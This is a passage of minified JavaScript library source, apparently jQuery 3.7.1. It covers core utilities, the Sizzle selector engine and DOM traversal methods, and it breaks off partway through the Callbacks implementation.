!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,(function(e,t){"use strict";var n=[],i=Object.getPrototypeOf,r=n.slice,s=n.flat?function(e){return n.flat.call(e)}:function(e){return n.concat.apply([],e)},o=n.push,a=n.indexOf,l={},c=l.toString,u=l.hasOwnProperty,d=u.toString,p=d.call(Object),h={},f=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},m=function(e){return null!=e&&e===e.window},g=e.document,v={type:!0,src:!0,nonce:!0,noModule:!0};function y(e,t,n){var i,r,s=(n=n||g).createElement("script");if(s.text=e,t)for(i in v)(r=t[i]||t.getAttribute&&t.getAttribute(i))&&s.setAttribute(i,r);n.head.appendChild(s).parentNode.removeChild(s)}function b(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var w="3.7.1",_=/HTML$/i,x=function(e,t){return new x.fn.init(e,t)};function T(e){var t=!!e&&"length"in e&&e.length,n=b(e);return!f(e)&&!m(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}function E(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}x.fn=x.prototype={jquery:w,constructor:x,length:0,toArray:function(){return r.call(this)},get:function(e){return null==e?r.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return x.each(this,e)},map:function(e){return this.pushStack(x.map(this,(function(t,n){return e.call(t,n,t)})))},slice:function(){return this.pushStack(r.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(x.grep(this,(function(e,t){return(t+1)%2})))},odd:function(){return this.pushStack(x.grep(this,(function(e,t){return t%2})))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:o,sort:n.sort,splice:n.splice},x.extend=x.fn.extend=function(){var e,t,n,i,r,s,o=arguments[0]||{},a=1,l=arguments.length,c=!1;for("boolean"==typeof o&&(c=o,o=arguments[a]||{},a++),"object"==typeof o||f(o)||(o={}),a===l&&(o=this,a--);a<l;a++)if(null!=(e=arguments[a]))for(t in e)i=e[t],"__proto__"!==t&&o!==i&&(c&&i&&(x.isPlainObject(i)||(r=Array.isArray(i)))?(n=o[t],s=r&&!Array.isArray(n)?[]:r||x.isPlainObject(n)?n:{},r=!1,o[t]=x.extend(c,s,i)):void 0!==i&&(o[t]=i));return o},x.extend({expando:"jQuery"+(w+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e)||(t=i(e))&&("function"!=typeof(n=u.call(t,"constructor")&&t.constructor)||d.call(n)!==p))},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){y(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,i=0;if(T(e))for(n=e.length;i<n&&!1!==t.call(e[i],i,e[i]);i++);else for(i in e)if(!1===t.call(e[i],i,e[i]))break;return e},text:function(e){var t,n="",i=0,r=e.nodeType;if(!r)for(;t=e[i++];)n+=x.text(t);return 1===r||11===r?e.textContent:9===r?e.documentElement.textContent:3===r||4===r?e.nodeValue:n},makeArray:function(e,t){var n=t||[];return null!=e&&(T(Object(e))?x.merge(n,"string"==typeof e?[e]:e):o.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:a.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!_.test(t||n&&n.nodeName||"HTML")},merge:function(e,t){for(var n=+t.length,i=0,r=e.length;i<n;i++)e[r++]=t[i];return e.length=r,e},grep:function(e,t,n){for(var i=[],r=0,s=e.length,o=!n;r<s;r++)!t(e[r],r)!==o&&i.push(e[r]);return i},map:function(e,t,n){var i,r,o=0,a=[];if(T(e))for(i=e.length;o<i;o++)null!=(r=t(e[o],o,n))&&a.push(r);else for(o in e)null!=(r=t(e[o],o,n))&&a.push(r);return s(a)},guid:1,support:h}),"function"==typeof Symbol&&(x.fn[Symbol.iterator]=n[Symbol.iterator]),x.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),(function(e,t){l["[object "+t+"]"]=t.toLowerCase()}));var S=n.pop,C=n.sort,M=n.splice,k="[\\x20\\t\\r\\n\\f]",A=new RegExp("^"+k+"+|((?:^|[^\\\\])(?:\\\\.)*)"+k+"+$","g");x.contains=function(e,t){var n=t&&t.parentNode;return e===n||!(!n||1!==n.nodeType||!(e.contains?e.contains(n):e.compareDocumentPosition&&16&e.compareDocumentPosition(n)))};var O=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;function P(e,t){return t?"\0"===e?"�":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e}x.escapeSelector=function(e){return(e+"").replace(O,P)};var L=g,D=o;!function(){var t,i,s,o,l,c,d,p,f,m,g=D,v=x.expando,y=0,b=0,w=ee(),_=ee(),T=ee(),O=ee(),P=function(e,t){return e===t&&(l=!0),0},I="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",z="(?:\\\\[\\da-fA-F]{1,6}"+k+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",N="\\["+k+"*("+z+")(?:"+k+"*([*^$|!~]?=)"+k+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+z+"))|)"+k+"*\\]",R=":("+z+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",$=new RegExp(k+"+","g"),F=new RegExp("^"+k+"*,"+k+"*"),j=new RegExp("^"+k+"*([>+~]|"+k+")"+k+"*"),H=new RegExp(k+"|>"),q=new RegExp(R),B=new RegExp("^"+z+"$"),W={ID:new RegExp("^#("+z+")"),CLASS:new RegExp("^\\.("+z+")"),TAG:new RegExp("^("+z+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+R),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+k+"*(even|odd|(([+-]|)(\\d*)n|)"+k+"*(?:([+-]|)"+k+"*(\\d+)|))"+k+"*\\)|)","i"),bool:new RegExp("^(?:"+I+")$","i"),needsContext:new RegExp("^"+k+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+k+"*((?:-\\d)?\\d*)"+k+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,G=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,V=/[+~]/,U=new RegExp("\\\\[\\da-fA-F]{1,6}"+k+"?|\\\\([^\\r\\n\\f])","g"),Z=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},K=function(){le()},Q=pe((function(e){return!0===e.disabled&&E(e,"fieldset")}),{dir:"parentNode",next:"legend"});try{g.apply(n=r.call(L.childNodes),L.childNodes),n[L.childNodes.length].nodeType}catch(e){g={apply:function(e,t){D.apply(e,r.call(t))},call:function(e){D.apply(e,r.call(arguments,1))}}}function J(e,t,n,i){var r,s,o,a,l,u,d,m=t&&t.ownerDocument,y=t?t.nodeType:9;if(n=n||[],"string"!=typeof e||!e||1!==y&&9!==y&&11!==y)return n;if(!i&&(le(t),t=t||c,p)){if(11!==y&&(l=G.exec(e)))if(r=l[1]){if(9===y){if(!(o=t.getElementById(r)))return n;if(o.id===r)return g.call(n,o),n}else if(m&&(o=m.getElementById(r))&&J.contains(t,o)&&o.id===r)return g.call(n,o),n}else{if(l[2])return g.apply(n,t.getElementsByTagName(e)),n;if((r=l[3])&&t.getElementsByClassName)return g.apply(n,t.getElementsByClassName(r)),n}if(!(O[e+" "]||f&&f.test(e))){if(d=e,m=t,1===y&&(H.test(e)||j.test(e))){for((m=V.test(e)&&ae(t.parentNode)||t)==t&&h.scope||((a=t.getAttribute("id"))?a=x.escapeSelector(a):t.setAttribute("id",a=v)),s=(u=ue(e)).length;s--;)u[s]=(a?"#"+a:":scope")+" "+de(u[s]);d=u.join(",")}try{return g.apply(n,m.querySelectorAll(d)),n}catch(t){O(e,!0)}finally{a===v&&t.removeAttribute("id")}}}return ye(e.replace(A,"$1"),t,n,i)}function ee(){var e=[];return function t(n,r){return e.push(n+" ")>i.cacheLength&&delete t[e.shift()],t[n+" "]=r}}function te(e){return e[v]=!0,e}function ne(e){var t=c.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ie(e){return function(t){return E(t,"input")&&t.type===e}}function re(e){return function(t){return(E(t,"input")||E(t,"button"))&&t.type===e}}function se(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&Q(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function oe(e){return te((function(t){return t=+t,te((function(n,i){for(var r,s=e([],n.length,t),o=s.length;o--;)n[r=s[o]]&&(n[r]=!(i[r]=n[r]))}))}))}function ae(e){return e&&void 0!==e.getElementsByTagName&&e}function le(e){var t,n=e?e.ownerDocument||e:L;return n!=c&&9===n.nodeType&&n.documentElement?(d=(c=n).documentElement,p=!x.isXMLDoc(c),m=d.matches||d.webkitMatchesSelector||d.msMatchesSelector,d.msMatchesSelector&&L!=c&&(t=c.defaultView)&&t.top!==t&&t.addEventListener("unload",K),h.getById=ne((function(e){return d.appendChild(e).id=x.expando,!c.getElementsByName||!c.getElementsByName(x.expando).length})),h.disconnectedMatch=ne((function(e){return m.call(e,"*")})),h.scope=ne((function(){return c.querySelectorAll(":scope")})),h.cssHas=ne((function(){try{return c.querySelector(":has(*,:jqfake)"),!1}catch(e){return!0}})),h.getById?(i.filter.ID=function(e){var t=e.replace(U,Z);return function(e){return e.getAttribute("id")===t}},i.find.ID=function(e,t){if(void 0!==t.getElementById&&p){var n=t.getElementById(e);return n?[n]:[]}}):(i.filter.ID=function(e){var t=e.replace(U,Z);return function(e){var n=void 0!==e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},i.find.ID=function(e,t){if(void 0!==t.getElementById&&p){var n,i,r,s=t.getElementById(e);if(s){if((n=s.getAttributeNode("id"))&&n.value===e)return[s];for(r=t.getElementsByName(e),i=0;s=r[i++];)if((n=s.getAttributeNode("id"))&&n.value===e)return[s]}return[]}}),i.find.TAG=function(e,t){return void 0!==t.getElementsByTagName?t.getElementsByTagName(e):t.querySelectorAll(e)},i.find.CLASS=function(e,t){if(void 0!==t.getElementsByClassName&&p)return t.getElementsByClassName(e)},f=[],ne((function(e){var t;d.appendChild(e).innerHTML="<a id='"+v+"' href='' disabled='disabled'></a><select id='"+v+"-\r\\' disabled='disabled'><option selected=''></option></select>",e.querySelectorAll("[selected]").length||f.push("\\["+k+"*(?:value|"+I+")"),e.querySelectorAll("[id~="+v+"-]").length||f.push("~="),e.querySelectorAll("a#"+v+"+*").length||f.push(".#.+[+~]"),e.querySelectorAll(":checked").length||f.push(":checked"),(t=c.createElement("input")).setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),d.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&f.push(":enabled",":disabled"),(t=c.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||f.push("\\["+k+"*name"+k+"*="+k+"*(?:''|\"\")")})),h.cssHas||f.push(":has"),f=f.length&&new RegExp(f.join("|")),P=function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!h.sortDetached&&t.compareDocumentPosition(e)===n?e===c||e.ownerDocument==L&&J.contains(L,e)?-1:t===c||t.ownerDocument==L&&J.contains(L,t)?1:o?a.call(o,e)-a.call(o,t):0:4&n?-1:1)},c):c}for(t in J.matches=function(e,t){return J(e,null,null,t)},J.matchesSelector=function(e,t){if(le(e),p&&!O[t+" "]&&(!f||!f.test(t)))try{var n=m.call(e,t);if(n||h.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){O(t,!0)}return J(t,c,null,[e]).length>0},J.contains=function(e,t){return(e.ownerDocument||e)!=c&&le(e),x.contains(e,t)},J.attr=function(e,t){(e.ownerDocument||e)!=c&&le(e);var n=i.attrHandle[t.toLowerCase()],r=n&&u.call(i.attrHandle,t.toLowerCase())?n(e,t,!p):void 0;return void 0!==r?r:e.getAttribute(t)},J.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},x.uniqueSort=function(e){var t,n=[],i=0,s=0;if(l=!h.sortStable,o=!h.sortStable&&r.call(e,0),C.call(e,P),l){for(;t=e[s++];)t===e[s]&&(i=n.push(s));for(;i--;)M.call(e,n[i],1)}return o=null,e},x.fn.uniqueSort=function(){return this.pushStack(x.uniqueSort(r.apply(this)))},i=x.expr={cacheLength:50,createPseudo:te,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(U,Z),e[3]=(e[3]||e[4]||e[5]||"").replace(U,Z),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||J.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&J.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return W.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&q.test(n)&&(t=ue(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(U,Z).toLowerCase();return"*"===e?function(){return!0}:function(e){return E(e,t)}},CLASS:function(e){var t=w[e+" "];return t||(t=new RegExp("(^|"+k+")"+e+"("+k+"|$)"))&&w(e,(function(e){return t.test("string"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute("class")||"")}))},ATTR:function(e,t,n){return function(i){var r=J.attr(i,e);return null==r?"!="===t:!t||(r+="","="===t?r===n:"!="===t?r!==n:"^="===t?n&&0===r.indexOf(n):"*="===t?n&&r.indexOf(n)>-1:"$="===t?n&&r.slice(-n.length)===n:"~="===t?(" "+r.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(r===n||r.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,i,r){var s="nth"!==e.slice(0,3),o="last"!==e.slice(-4),a="of-type"===t;return 1===i&&0===r?function(e){return!!e.parentNode}:function(t,n,l){var c,u,d,p,h,f=s!==o?"nextSibling":"previousSibling",m=t.parentNode,g=a&&t.nodeName.toLowerCase(),b=!l&&!a,w=!1;if(m){if(s){for(;f;){for(d=t;d=d[f];)if(a?E(d,g):1===d.nodeType)return!1;h=f="only"===e&&!h&&"nextSibling"}return!0}if(h=[o?m.firstChild:m.lastChild],o&&b){for(w=(p=(c=(u=m[v]||(m[v]={}))[e]||[])[0]===y&&c[1])&&c[2],d=p&&m.childNodes[p];d=++p&&d&&d[f]||(w=p=0)||h.pop();)if(1===d.nodeType&&++w&&d===t){u[e]=[y,p,w];break}}else if(b&&(w=p=(c=(u=t[v]||(t[v]={}))[e]||[])[0]===y&&c[1]),!1===w)for(;(d=++p&&d&&d[f]||(w=p=0)||h.pop())&&(!(a?E(d,g):1===d.nodeType)||!++w||(b&&((u=d[v]||(d[v]={}))[e]=[y,w]),d!==t)););return(w-=r)===i||w%i==0&&w/i>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||J.error("unsupported pseudo: "+e);return r[v]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?te((function(e,n){for(var i,s=r(e,t),o=s.length;o--;)e[i=a.call(e,s[o])]=!(n[i]=s[o])})):function(e){return r(e,0,n)}):r}},pseudos:{not:te((function(e){var t=[],n=[],i=ve(e.replace(A,"$1"));return i[v]?te((function(e,t,n,r){for(var s,o=i(e,null,r,[]),a=e.length;a--;)(s=o[a])&&(e[a]=!(t[a]=s))})):function(e,r,s){return t[0]=e,i(t,null,s,n),t[0]=null,!n.pop()}})),has:te((function(e){return function(t){return J(e,t).length>0}})),contains:te((function(e){return e=e.replace(U,Z),function(t){return(t.textContent||x.text(t)).indexOf(e)>-1}})),lang:te((function(e){return B.test(e||"")||J.error("unsupported lang: "+e),e=e.replace(U,Z).toLowerCase(),function(t){var n;do{if(n=p?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}})),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===function(){try{return c.activeElement}catch(e){}}()&&c.hasFocus()&&!!(e.type||e.href||~e.tabIndex)},enabled:se(!1),disabled:se(!0),checked:function(e){return E(e,"input")&&!!e.checked||E(e,"option")&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return X.test(e.nodeName)},button:function(e){return E(e,"input")&&"button"===e.type||E(e,"button")},text:function(e){var t;return E(e,"input")&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:oe((function(){return[0]})),last:oe((function(e,t){return[t-1]})),eq:oe((function(e,t,n){return[n<0?n+t:n]})),even:oe((function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e})),odd:oe((function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e})),lt:oe((function(e,t,n){var i;for(i=n<0?n+t:n>t?t:n;--i>=0;)e.push(i);return e})),gt:oe((function(e,t,n){for(var i=n<0?n+t:n;++i<t;)e.push(i);return e}))}},i.pseudos.nth=i.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[t]=ie(t);for(t in{submit:!0,reset:!0})i.pseudos[t]=re(t);function ce(){}function ue(e,t){var n,r,s,o,a,l,c,u=_[e+" "];if(u)return t?0:u.slice(0);for(a=e,l=[],c=i.preFilter;a;){for(o in n&&!(r=F.exec(a))||(r&&(a=a.slice(r[0].length)||a),l.push(s=[])),n=!1,(r=j.exec(a))&&(n=r.shift(),s.push({value:n,type:r[0].replace(A," ")}),a=a.slice(n.length)),i.filter)!(r=W[o].exec(a))||c[o]&&!(r=c[o](r))||(n=r.shift(),s.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?J.error(e):_(e,l).slice(0)}function de(e){for(var t=0,n=e.length,i="";t<n;t++)i+=e[t].value;return i}function pe(e,t,n){var i=t.dir,r=t.next,s=r||i,o=n&&"parentNode"===s,a=b++;return t.first?function(t,n,r){for(;t=t[i];)if(1===t.nodeType||o)return e(t,n,r);return!1}:function(t,n,l){var c,u,d=[y,a];if(l){for(;t=t[i];)if((1===t.nodeType||o)&&e(t,n,l))return!0}else for(;t=t[i];)if(1===t.nodeType||o)if(u=t[v]||(t[v]={}),r&&E(t,r))t=t[i]||t;else{if((c=u[s])&&c[0]===y&&c[1]===a)return d[2]=c[2];if(u[s]=d,d[2]=e(t,n,l))return!0}return!1}}function he(e){return e.length>1?function(t,n,i){for(var r=e.length;r--;)if(!e[r](t,n,i))return!1;return!0}:e[0]}function fe(e,t,n,i,r){for(var s,o=[],a=0,l=e.length,c=null!=t;a<l;a++)(s=e[a])&&(n&&!n(s,i,r)||(o.push(s),c&&t.push(a)));return o}function me(e,t,n,i,r,s){return i&&!i[v]&&(i=me(i)),r&&!r[v]&&(r=me(r,s)),te((function(s,o,l,c){var u,d,p,h,f=[],m=[],v=o.length,y=s||function(e,t,n){for(var i=0,r=t.length;i<r;i++)J(e,t[i],n);return n}(t||"*",l.nodeType?[l]:l,[]),b=!e||!s&&t?y:fe(y,f,e,l,c);if(n?n(b,h=r||(s?e:v||i)?[]:o,l,c):h=b,i)for(u=fe(h,m),i(u,[],l,c),d=u.length;d--;)(p=u[d])&&(h[m[d]]=!(b[m[d]]=p));if(s){if(r||e){if(r){for(u=[],d=h.length;d--;)(p=h[d])&&u.push(b[d]=p);r(null,h=[],u,c)}for(d=h.length;d--;)(p=h[d])&&(u=r?a.call(s,p):f[d])>-1&&(s[u]=!(o[u]=p))}}else h=fe(h===o?h.splice(v,h.length):h),r?r(null,o,h,c):g.apply(o,h)}))}function ge(e){for(var t,n,r,o=e.length,l=i.relative[e[0].type],c=l||i.relative[" "],u=l?1:0,d=pe((function(e){return e===t}),c,!0),p=pe((function(e){return a.call(t,e)>-1}),c,!0),h=[function(e,n,i){var r=!l&&(i||n!=s)||((t=n).nodeType?d(e,n,i):p(e,n,i));return t=null,r}];u<o;u++)if(n=i.relative[e[u].type])h=[pe(he(h),n)];else{if((n=i.filter[e[u].type].apply(null,e[u].matches))[v]){for(r=++u;r<o&&!i.relative[e[r].type];r++);return me(u>1&&he(h),u>1&&de(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(A,"$1"),n,u<r&&ge(e.slice(u,r)),r<o&&ge(e=e.slice(r)),r<o&&de(e))}h.push(n)}return he(h)}function ve(e,t){var n,r=[],o=[],a=T[e+" "];if(!a){for(t||(t=ue(e)),n=t.length;n--;)(a=ge(t[n]))[v]?r.push(a):o.push(a);a=T(e,function(e,t){var n=t.length>0,r=e.length>0,o=function(o,a,l,u,d){var h,f,m,v=0,b="0",w=o&&[],_=[],T=s,E=o||r&&i.find.TAG("*",d),C=y+=null==T?1:Math.random()||.1,M=E.length;for(d&&(s=a==c||a||d);b!==M&&null!=(h=E[b]);b++){if(r&&h){for(f=0,a||h.ownerDocument==c||(le(h),l=!p);m=e[f++];)if(m(h,a||c,l)){g.call(u,h);break}d&&(y=C)}n&&((h=!m&&h)&&v--,o&&w.push(h))}if(v+=b,n&&b!==v){for(f=0;m=t[f++];)m(w,_,a,l);if(o){if(v>0)for(;b--;)w[b]||_[b]||(_[b]=S.call(u));_=fe(_)}g.apply(u,_),d&&!o&&_.length>0&&v+t.length>1&&x.uniqueSort(u)}return d&&(y=C,s=T),w};return n?te(o):o}(o,r)),a.selector=e}return a}function ye(e,t,n,r){var s,o,a,l,c,u="function"==typeof e&&e,d=!r&&ue(e=u.selector||e);if(n=n||[],1===d.length){if((o=d[0]=d[0].slice(0)).length>2&&"ID"===(a=o[0]).type&&9===t.nodeType&&p&&i.relative[o[1].type]){if(!(t=(i.find.ID(a.matches[0].replace(U,Z),t)||[])[0]))return n;u&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(s=W.needsContext.test(e)?0:o.length;s--&&(a=o[s],!i.relative[l=a.type]);)if((c=i.find[l])&&(r=c(a.matches[0].replace(U,Z),V.test(o[0].type)&&ae(t.parentNode)||t))){if(o.splice(s,1),!(e=r.length&&de(o)))return g.apply(n,r),n;break}}return(u||ve(e,d))(r,t,!p,n,!t||V.test(e)&&ae(t.parentNode)||t),n}ce.prototype=i.filters=i.pseudos,i.setFilters=new ce,h.sortStable=v.split("").sort(P).join("")===v,le(),h.sortDetached=ne((function(e){return 1&e.compareDocumentPosition(c.createElement("fieldset"))})),x.find=J,x.expr[":"]=x.expr.pseudos,x.unique=x.uniqueSort,J.compile=ve,J.select=ye,J.setDocument=le,J.tokenize=ue,J.escape=x.escapeSelector,J.getText=x.text,J.isXML=x.isXMLDoc,J.selectors=x.expr,J.support=x.support,J.uniqueSort=x.uniqueSort}();var I=function(e,t,n){for(var i=[],r=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(r&&x(e).is(n))break;i.push(e)}return i},z=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},N=x.expr.match.needsContext,R=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function $(e,t,n){return f(t)?x.grep(e,(function(e,i){return!!t.call(e,i,e)!==n})):t.nodeType?x.grep(e,(function(e){return e===t!==n})):"string"!=typeof t?x.grep(e,(function(e){return a.call(t,e)>-1!==n})):x.filter(t,e,n)}x.filter=function(e,t,n){var i=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===i.nodeType?x.find.matchesSelector(i,e)?[i]:[]:x.find.matches(e,x.grep(t,(function(e){return 1===e.nodeType})))},x.fn.extend({find:function(e){var t,n,i=this.length,r=this;if("string"!=typeof e)return this.pushStack(x(e).filter((function(){for(t=0;t<i;t++)if(x.contains(r[t],this))return!0})));for(n=this.pushStack([]),t=0;t<i;t++)x.find(e,r[t],n);return i>1?x.uniqueSort(n):n},filter:function(e){return this.pushStack($(this,e||[],!1))},not:function(e){return this.pushStack($(this,e||[],!0))},is:function(e){return!!$(this,"string"==typeof e&&N.test(e)?x(e):e||[],!1).length}});var F,j=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(x.fn.init=function(e,t,n){var i,r;if(!e)return this;if(n=n||F,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:j.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof x?t[0]:t,x.merge(this,x.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:g,!0)),R.test(i[1])&&x.isPlainObject(t))for(i in t)f(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(r=g.getElementById(i[2]))&&(this[0]=r,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):f(e)?void 0!==n.ready?n.ready(e):e(x):x.makeArray(e,this)}).prototype=x.fn,F=x(g);var H=/^(?:parents|prev(?:Until|All))/,q={children:!0,contents:!0,next:!0,prev:!0};function B(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}x.fn.extend({has:function(e){var t=x(e,this),n=t.length;return this.filter((function(){for(var e=0;e<n;e++)if(x.contains(this,t[e]))return!0}))},closest:function(e,t){var n,i=0,r=this.length,s=[],o="string"!=typeof e&&x(e);if(!N.test(e))for(;i<r;i++)for(n=this[i];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(o?o.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){s.push(n);break}return this.pushStack(s.length>1?x.uniqueSort(s):s)},index:function(e){return e?"string"==typeof e?a.call(x(e),this[0]):a.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(x.uniqueSort(x.merge(this.get(),x(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return I(e,"parentNode")},parentsUntil:function(e,t,n){return I(e,"parentNode",n)},next:function(e){return B(e,"nextSibling")},prev:function(e){return B(e,"previousSibling")},nextAll:function(e){return I(e,"nextSibling")},prevAll:function(e){return I(e,"previousSibling")},nextUntil:function(e,t,n){return I(e,"nextSibling",n)},prevUntil:function(e,t,n){return I(e,"previousSibling",n)},siblings:function(e){return z((e.parentNode||{}).firstChild,e)},children:function(e){return z(e.firstChild)},contents:function(e){return null!=e.contentDocument&&i(e.contentDocument)?e.contentDocument:(E(e,"template")&&(e=e.content||e),x.merge([],e.childNodes))}},(function(e,t){x.fn[e]=function(n,i){var r=x.map(this,t,n);return"Until"!==e.slice(-5)&&(i=n),i&&"string"==typeof i&&(r=x.filter(i,r)),this.length>1&&(q[e]||x.uniqueSort(r),H.test(e)&&r.reverse()),this.pushStack(r)}}));var W=/[^\x20\t\r\n\f]+/g;function X(e){return e}function Y(e){throw e}function G(e,t,n,i){var r;try{e&&f(r=e.promise)?r.call(e).done(t).fail(n):e&&f(r=e.then)?r.call(e,t,n):t.apply(void 0,[e].slice(i))}catch(e){n.apply(void 0,[e])}}x.Callbacks=function(e){e="string"==typeof e?function(e){var t={};return x.each(e.match(W)||[],(function(e,n){t[n]=!0})),t}(e):x.extend({},e);var t,n,i,r,s=[],o=[],a=-1,l=function(){for(r=r||e.once,i=t=!0;o.length;a=-1)for(n=o.shift();++a<s.length;)!1===s[a].apply(n[0],n[1])&&e.stopOnFalse&&(a=s.length,n=!1);e.memory||(n=!1),t=!1,r&&(s=n?[]:"")},c={add:function(){return s&&(n&&!t&&(a=s.length-1,o.push(n)),function t(n){x.each(n,(function(n,i){f(i)?e.unique&&c.has(i)||s.push(i):i&&i.length&&"string"!==b(i)&&t(i)}))}(arguments),n&&!t&&l()),this},remove:function(){return x.each(arguments,(function(e,t){for(var n;(n=x.inArray(t,s,n))>-1;)s.splice(n,1),n<=a&&a--})),this},has:function(e){return e?x.inArray(e,s)>-1:s.length>0},empty:function(){return s&&(s=[]),this},disable:function(){return 